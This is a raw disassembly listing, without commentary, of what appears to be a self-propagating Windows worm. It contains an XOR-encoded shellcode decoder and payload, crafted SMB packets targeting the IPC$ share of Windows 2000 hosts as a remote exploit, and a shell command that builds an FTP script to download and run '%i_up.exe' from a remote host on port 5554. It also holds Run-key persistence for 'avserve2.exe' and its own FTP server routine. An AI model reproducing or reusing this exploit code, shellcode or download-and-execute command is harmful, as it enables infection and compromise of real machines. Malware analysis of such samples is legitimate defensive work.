aLoadlibrarya db 'LoadLibraryA',0
align 4
aLstrcpya db 'lstrcpyA',0
align 4
a_lclose db '_lclose',0
dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h
dd 706565h, 6C5F0000h, 64616572h, 0
a_lopen db '_lopen',0
align 10h
dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
dd 0
aCreatethread_0 db 'CreateThread',0
align 4
aWinexec db 'WinExec',0
dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 63695474h
dd 756F436Bh, 746Eh, 72430000h, 65746165h, 6574754Dh, 4178h
dd 6F430000h, 69467970h, 41656Ch, 65470000h, 6E695774h
dd 73776F64h, 65726944h, 726F7463h, 4179h, 4E52454Bh, 32334C45h
dd 6C6C642Eh, 53570000h, 32335F32h, 6C6C642Eh, 0
aAbortsystemshu db 'AbortSystemShutdownA',0
align 4
aRegclosekey db 'RegCloseKey',0
dd 65520000h, 74655367h, 756C6156h, 41784565h, 0
aRegopenkeya db 'RegOpenKeyA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 4
aGetmodulehandl db 'GetModuleHandleA',0
align 4
aGetstartupinfo db 'GetStartupInfoA',0
dd 65470000h, 6D6F4374h, 646E616Dh, 656E694Ch, 41h, 56746547h
dd 69737265h, 6E6Fh, 78450000h, 72507469h, 7365636Fh, 73h
dd 6D726554h, 74616E69h, 6F725065h, 73736563h, 0
aGetcurrentproc db 'GetCurrentProcess',0
align 10h
aUnhandledexcep db 'UnhandledExceptionFilter',0
align 4
aFreeenvironmen db 'FreeEnvironmentStringsA',0
dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h
dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch
dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh
dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h
dd 746E656Dh, 69727453h, 5773676Eh, 0
aSethandlecount db 'SetHandleCount',0
align 4
dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h
dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h
dd 72437061h, 65746165h, 0
aVirtualfree db 'VirtualFree',0
dd 65480000h, 72467061h, 6565h, 74520000h, 776E556Ch, 646E69h
dd 72570000h, 46657469h, 656C69h, 754D0000h, 4269746Ch
dd 54657479h, 6469576Fh, 61684365h, 72h, 53746547h, 6E697274h
dd 70795467h, 4165h, 65470000h, 72745374h, 54676E69h, 57657079h
dd 0
aGetcpinfo db 'GetCPInfo',0
align 4
aGetacp db 'GetACP',0
align 4
dd 65470000h, 4D454F74h, 5043h, 65480000h, 6C417061h, 636F6Ch
dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65480000h, 65527061h
dd 6F6C6C41h, 63h, 614D434Ch, 72745370h, 41676E69h, 0
aLcmapstringw db 'LCMapStringW',0
align 4
dd 191h dup(0)
dword_406000 dd 0 ; DATA XREF: sub_402AC1+1Fo
dword_406004 dd 0 ; DATA XREF: sub_402AC1+1Ao
dword_406008 dd 0 ; DATA XREF: sub_402AC1+10o
dd offset sub_403C6B
dword_406010 dd 0 ; DATA XREF: sub_402AC1:loc_402ACCo
dword_406014 dd 0 ; DATA XREF: sub_402B10+65o
dword_406018 dd 0 ; DATA XREF: sub_402B10:loc_402B70o
dword_40601C dd 0 ; DATA XREF: sub_402B10+76o
dword_406020 dd 4 dup(0) ; DATA XREF: sub_402B10:loc_402B81o
off_406030 dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr
; "echo off&echo open %s 5554>>cmd.ftp&ech"...
; ---------------------------------------------------------------------------
loc_406034: ; DATA XREF: sub_40159E+132o
; sub_40159E+1ABo
jmp short loc_406046
; =============== S U B R O U T I N E =======================================
sub_406036 proc near ; CODE XREF: sub_406036:loc_406046p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_40603E: ; CODE XREF: sub_406036+Cj
xor byte ptr [edx+ecx], 99h
loop loc_40603E
jmp short loc_40604B
; ---------------------------------------------------------------------------
loc_406046: ; CODE XREF: .text:loc_406034j
call sub_406036
loc_40604B: ; CODE XREF: sub_406036+Ej
jo short near ptr dword_4059BC+626h
cwde
cdq
cdq
retn
sub_406036 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_4060E4 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40159E+102o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4061CC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_401398+15Do
; sub_40159E+2BDo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_406258 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401398+188o
; sub_40159E+2ECo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dd 0
dword_406304 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401398+1ADo
; sub_40159E+315o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4063E4 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_401398+53o
; sub_40159E+57o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_401398+85o
; sub_40159E+89o
unicode 0, <C$>,0
a????? db '?????',0
align 8
dword_406448 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40159E+369o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_4064B4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40159E+392o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_406558 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40159E+3C8o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4065D8 dd offset loc_401495 ; DATA XREF: sub_40159E+3F6o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset dword_40707C
dd 1, 0
dd 1, 0
dd offset dword_40707C
dd 1, 0
dd 1, 0
dd offset dword_40707C
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_40666C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40159E+425o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4066D8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40159E+450o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_40674C dd 0 ; DATA XREF: sub_40159E+47Eo
dd 40A89Ah, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 0
dd 40A89Ah, 1, 0
dd 1, 4 dup(0)
dd 20h, 0Ch dup(0)
dword_406810 dd 1004600h ; DATA XREF: sub_40159E+16Br
; sub_40159E+19Er
dd 1, 20h, 0Ch dup(0)
dd 7515123Ch, 2, 20h, 0Ch dup(0)
dd 751C123Ch, 0Fh dup(0)
off_4068C8 dd offset aAvserve2_exe ; DATA XREF: sub_4020D7:loc_40212Fr
; sub_4020D7+B5r
; "avserve2.exe"
dd offset aAvserve2 ; "avserve2"
off_4068D0 dd offset dword_406910 ; DATA XREF: sub_401B08+1Ar
; sub_401B08+2Dr
off_4068D4 dd offset dword_406908 ; DATA XREF: sub_401B08+77r
; sub_401B08+84r
off_4068D8 dd offset dword_406900 ; DATA XREF: sub_401B08+A8r
; sub_401B08+B5r
off_4068DC dd offset dword_4068F8 ; DATA XREF: sub_401B08+2BCr
; sub_401B08+2C9r ...
off_4068E0 dd offset dword_4068F0 ; DATA XREF: sub_401B08+184r
; sub_401B08+191r
off_4068E4 dd offset dword_4068E8 ; DATA XREF: sub_401B08+1B9r
; sub_401B08+1C6r
dword_4068E8 dd 20303531h, 0A4B4Fh ; DATA XREF: .text:off_4068E4o
dword_4068F0 dd 20303032h, 0A4B4Fh ; DATA XREF: .text:off_4068E0o
dword_4068F8 dd 20363232h, 0A4B4Fh ; DATA XREF: .text:off_4068DCo
dword_406900 dd 20303332h, 0A4B4Fh ; DATA XREF: .text:off_4068D8o
dword_406908 dd 20313333h, 0A4B4Fh ; DATA XREF: .text:off_4068D4o
dword_406910 dd 20303232h, 0A4B4Fh ; DATA XREF: .text:off_4068D0o
aAvserve2 db 'avserve2',0 ; DATA XREF: .text:004068CCo
align 4
aAvserve2_exe db 'avserve2.exe',0 ; DATA XREF: .text:off_4068C8o
align 4
aEchoOffEchoOpe db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo '
; DATA XREF: .text:off_406030o
db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.'
db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on'
db 0Ah,0
align 4
a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_4010D2:loc_401140o
align 4
aCWin2_log db 'c:\win2.log',0 ; DATA XREF: sub_401210+27o
aI db '%i',0 ; DATA XREF: sub_401210+16o
align 4
aSC db '%s%c',0 ; DATA XREF: sub_401398+1DFo
align 10h
aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_401398+20o
; sub_40159E+23o
align 4
dword_406A2C dd 6EB06EBh, 0 ; DATA XREF: sub_40159E+1CCo
dword_406A34 dd 1CEC8166h ; DATA XREF: sub_40159E+Dr
dword_406A38 dd 0E4FF07h ; DATA XREF: sub_40159E+18r
dword_406A3C dd 302E35h ; DATA XREF: sub_401A84+4Ao
dword_406A40 dd 312E35h ; DATA XREF: sub_401A84+27o
aQuit db 'QUIT',0 ; DATA XREF: sub_401B08+2DAo
align 4
aRetr db 'RETR',0 ; DATA XREF: sub_401B08+1A2o
align 4
aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401B08+173o
; sub_401EF0+D2o
word_406A60 dw 2Ch ; DATA XREF: sub_401B08+EEr
align 4
aPort db 'PORT',0 ; DATA XREF: sub_401B08+C6o
align 4
aPass db 'PASS',0 ; DATA XREF: sub_401B08+95o
align 4
aUser db 'USER',0 ; DATA XREF: sub_401B08+64o
align 4
asc_406A7C: ; DATA XREF: sub_401EF0+102o
unicode 0, < >,0
aJumpallsnlstil db 'JumpallsNlsTillt',0 ; DATA XREF: sub_402029+50o
align 4
aJobaka3 db 'Jobaka3',0 ; DATA XREF: sub_402029+Fo
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_4020D7+8Co
align 4
asc_406ACC: ; DATA XREF: sub_4020D7+4Bo
unicode 0, <\>,0
off_406AD0 dd offset sub_402AFF ; DATA XREF: sub_402934+1Cr
dword_406AD4 dd 2 ; DATA XREF: sub_403590+Er
; sub_4035C9+46r
align 10h
off_406AE0 dd offset word_406AEA ; DATA XREF: sub_402810+1Er
; sub_402A4C+12r ...
dd offset word_406AEA
db 2 dup(0)
word_406AEA dw 20h ; DATA XREF: sub_403876+18r
; .text:off_406AE0o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_406CEC dd 1 ; DATA XREF: sub_402810r
dd 2Eh, 1
dword_406CF8 dd 0C0000005h ; DATA XREF: sub_402D04+Ar
; sub_402D04+11o
dd 0Bh, 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_406D70 dd 3 ; DATA XREF: sub_402BC3+58r
dword_406D74 dd 7 ; DATA XREF: sub_402BC3+5Er
dword_406D78 dd 0Ah ; DATA XREF: sub_402D04+4r
dword_406D7C dd 8Ch ; DATA XREF: sub_402BC3+82r
; sub_402BC3+8Fw ...
dd 0FFFFFFFFh, 0A00h, 10h
dword_406D8C dd 19930520h, 4 dup(0) ; DATA XREF: .text:0040348Fo
; sub_403496+2o
dword_406DA0 dd 2 ; DATA XREF: sub_4035C9+Eo
; sub_4035C9+28r
off_406DA4 dd offset aR6002FloatingP ; DATA XREF: sub_4035C9+FCr
; sub_4035C9+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 40536Ch, 9, 405340h, 0Ah, 40531Ch, 10h, 4052F0h
dd 11h, 4052C0h, 12h, 40529Ch, 13h, 405270h, 18h, 405238h
dd 19h, 405210h, 1Ah, 4051D8h, 1Bh, 4051A0h, 1Ch, 405178h
dd 78h, 405168h, 79h, 405158h, 7Ah, 405148h, 0FCh, 405144h
dd 0FFh, 405134h
byte_406E30 db 1 ; DATA XREF: sub_4035C9+1Bo
; sub_4038A7+E1r
db 2, 4, 8
align 8
dword_406E38 dd 3A4h ; DATA XREF: sub_4038A7+2Fo
dword_406E3C dd 82798260h, 21h, 0 ; DATA XREF: sub_4038A7+11Dr
dword_406E48 dd 0DFA6h ; DATA XREF: sub_4038A7+C0r
align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_406F28 dd 3F8h ; DATA XREF: sub_4038A7+3Co
; sub_403CF4+5r
align 10h
dword_406F30 dd 8D22651Fh ; DATA XREF: sub_401000r
; sub_401000+10w ...
dword_406F34 dd 0 ; DATA XREF: sub_401210+6w
; sub_401210+Dr
dword_406F38 dd 0 ; DATA XREF: sub_40127D+89o
; sub_401398+Co ...
dword_406F3C dd 0 ; DATA XREF: sub_402680+3Br
; sub_402680+91w
dword_406F40 dd 0 ; DATA XREF: sub_40283E+84w
; sub_402D9F:loc_402DB1r ...
align 8
dword_406F48 dd 0 ; DATA XREF: sub_402934r sub_402959r ...
dd 3 dup(0)
dword_406F58 dd 0A28h ; DATA XREF: sub_40283E+52w
dword_406F5C dd 501h ; DATA XREF: sub_40283E+49w
dword_406F60 dd 5 ; DATA XREF: sub_40283E+3Ew
dword_406F64 dd 1 ; DATA XREF: sub_40283E+30w
dword_406F68 dd 1 ; DATA XREF: sub_402E58+91w
dword_406F6C dd 0CB0B00h ; DATA XREF: sub_402E58+89w
dd 0
dword_406F74 dd 0CB0A80h ; DATA XREF: sub_402D9F+44w
dd 3 dup(0)
off_406F84 dd offset aCM_unpackerPac ; DATA XREF: sub_402E58+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_406F8C db 0 ; DATA XREF: sub_402B10+2Dw
align 10h
dword_406F90 dd 0 ; DATA XREF: sub_402B10+27w
dword_406F94 dd 0 ; DATA XREF: sub_402B10+4r
; sub_402B10+8Bw
dword_406F98 dd 0 ; DATA XREF: sub_402BC3+3Ar
; sub_402BC3+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_402E58:loc_402E6Fo
; .text:off_406F84o
align 4
dd 31h dup(0)
dword_40707C dd 9 dup(0) ; DATA XREF: .text:00406624o
; .text:00406638o ...
dword_4070A0 dd 1 ; DATA XREF: sub_4030A5+2r
; sub_4030A5+23w ...
dword_4070A4 dd 0 ; DATA XREF: sub_403590+21r
dword_4070A8 dd 1 ; DATA XREF: sub_40371C+26r
; sub_40371C:loc_403786w
dword_4070AC dd 1 ; DATA XREF: sub_4038A7:loc_403A22r
; sub_403A40+4w ...
dword_4070B0 dd 0 ; DATA XREF: sub_404573+3r
; sub_404573+2Ew ...
dword_4070B4 dd 0 ; DATA XREF: sub_404573+43w
; sub_404573:loc_4045C2r
dword_4070B8 dd 0 ; DATA XREF: sub_404573+4Aw
; sub_404573+60r
dd 2 dup(0)
dword_4070C4 dd 0 ; DATA XREF: sub_40371C+7Br
dd 3 dup(0)
dword_4070D4 dd 0 ; DATA XREF: sub_40371C+A6r
; sub_403A40+3Ar ...
dd 0
dword_4070DC dd 1 ; DATA XREF: sub_4046FE+28r
; sub_4046FE+4Cw ...
dword_4070E0 dd 0 ; DATA XREF: sub_403CB6r
dword_4070E4 dd 0 ; DATA XREF: sub_40494Dr
dword_4070E8 dd 10h ; DATA XREF: sub_403D2A+32w
; sub_4043C7+5r ...
dword_4070EC dd 0 ; DATA XREF: sub_403D93+239r
; sub_403D93+259r ...
dword_4070F0 dd 320650h ; DATA XREF: sub_403D2A+2Dw
; sub_403D93+310w ...
dword_4070F4 dd 0 ; DATA XREF: sub_403D2A:loc_403D47w
; sub_403D93+22Cr ...
dword_4070F8 dd 1 ; DATA XREF: sub_403D2A+24w
; sub_403D68r ...
dword_4070FC dd 320650h ; DATA XREF: sub_403D2A+15w
; sub_403D68+8r ...
dword_407100 dd 4E4h ; DATA XREF: sub_4038A7+14r
; sub_4038A7+65w ...
align 10h
dword_407110 dd 3 dup(0) ; DATA XREF: sub_4038A7+123o
; sub_4038A7+171o ...
dword_40711C dd 0 ; DATA XREF: sub_4038A7+108w
; sub_4038A7+15Dw ...
byte_407120 db 0 ; DATA XREF: sub_403AE6:loc_403BF2w
; sub_403AE6:loc_403C0Fw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_407220 db 0 ; DATA XREF: sub_4038A7+5Co
; sub_4038A7+AFo ...
byte_407221 db 0 ; DATA XREF: sub_402EF1+3Fr
; sub_402EF1+84r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_407324 dd 0 ; DATA XREF: sub_4038A7+6Ew
; sub_4038A7+12Bw ...
dword_407328 dd 320000h ; DATA XREF: sub_403382+19w
; sub_403382+29r ...
dd 5 dup(0)
dword_407340 dd 0CB0EF0h ; DATA XREF: sub_4031D7:loc_4031F7w
; sub_4031D7+45r ...
dword_407344 dd 3Fh dup(0) ; DATA XREF: sub_4031D7+92o
dword_407440 dd 20h ; DATA XREF: sub_4031D7+26w
; sub_4031D7:loc_403261r ...
dword_407444 dd 1 ; DATA XREF: sub_402D9F+ADw
dword_407448 dd 1 ; DATA XREF: sub_402D47r sub_402D9F+3r ...
dword_40744C dd 0 ; DATA XREF: sub_402B10+3Er
dword_407450 dd 0 ; DATA XREF: sub_402B10+35r
; sub_402B10+57r
dword_407454 dd 0 ; DATA XREF: sub_402AC1r
dword_407458 dd 452340h ; DATA XREF: sub_40283E+7Aw
; sub_402D47+Fr ...
dd 6E9h dup(0)
_text ends
; Section 3. (virtual address 0001A000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00020000 ( 131072.)
; Offset to raw data for section: 0001A000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 41A000h
; =============== S U B R O U T I N E =======================================
public start
start proc near
pusha
call sub_440946
popa
jmp sub_40283E
start endp
; ---------------------------------------------------------------------------
db 0
byte_41A00D db 33h, 75h, 90h ; DATA XREF: .bss:off_44A610o
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 8000h, 207E2500h, 85C06420h, 2312CFE3h, 908A41DEh, 1E7030F7h
dd 845CF00Ah, 7352597h, 5295149h, 0E5945F72h, 66EBE628h
dd 1B147DACh, 0C44E86B0h, 0BD17AB2Ch, 231E7BDFh, 803CDC2Eh
dd 1D8C4BE5h, 0AD71B1h, 6014C00h, 146A8000h, 46h, 0
dd 0E00E000h, 2010B21h, 0AE0037h, 360000h, 5C0000h, 119600h
dd 100000h, 0C00000h, 0
dd 100010h, 20000h, 100h, 0
dd 400h, 0
dd 1800000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 1700000h, 4C00h, 1400000h, 1CC00h, 6 dup(0)
dd 1500000h, 143400h, 14h dup(0)
dd 65742E00h, 7478h, 0AC1000h, 100000h, 0AC1000h, 40000h
dd 3 dup(0)
dd 2000h, 73622E60h, 73h, 5BD800h, 0C00000h, 5 dup(0)
dd 8000h, 61642EC0h, 6174h, 1A1C00h, 1200000h, 1A1C00h
dd 0B20000h, 3 dup(0)
dd 4000h, 64692EC0h, 617461h, 1CC00h, 1400000h, 1CC00h
dd 0CE0000h, 3 dup(0)
dd 6000h, 65722EC0h, 636F6Ch, 143C00h, 1500000h, 143C00h
dd 0D20000h, 3 dup(0)
dd 2000h, 64652E02h, 617461h, 4C00h, 1700000h, 4C00h, 0E80000h
dd 3 dup(0)
dd 2000h, 40h, 65h dup(0)
dd 1B800h, 31C30000h, 4C8B40C0h, 41F70424h, 604h, 8B0F7400h
dd 8B082444h, 89102454h, 3B802h
db 2 dup(0), 0C3h
; =============== S U B R O U T I N E =======================================
sub_41A433 proc near ; CODE XREF: .data:0041A55Bp
; .data:0041A589p
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push 10001006h
push large dword ptr fs:0
mov large fs:0, esp
loc_41A450: ; CODE XREF: sub_41A433+44j
; sub_41A433+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41A47F
cmp esi, [esp+1Ch+arg_4]
jz short loc_41A47F
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41A450
call dword ptr [ebx+esi*4+8]
jmp short loc_41A450
; ---------------------------------------------------------------------------
loc_41A47F: ; CODE XREF: sub_41A433+2Aj
; sub_41A433+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41A433 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A48D proc near ; CODE XREF: .data:0041A54Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push 10001098h
push [ebp+arg_0]
call sub_424FB1
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41A48D endp
; ---------------------------------------------------------------------------
db 0FCh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_41A582
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_41A4E0: ; CODE XREF: .data:0041A579j
cmp esi, 0FFFFFFFFh
jz loc_41A591
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_41A570
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov ds:10012034h, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov ds:10012038h, eax
mov eax, [edx+4]
mov ds:1001203Ch, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, ds:10012040h
mov esi, ds:10012038h
rep movsd
lea edi, ds:10012040h
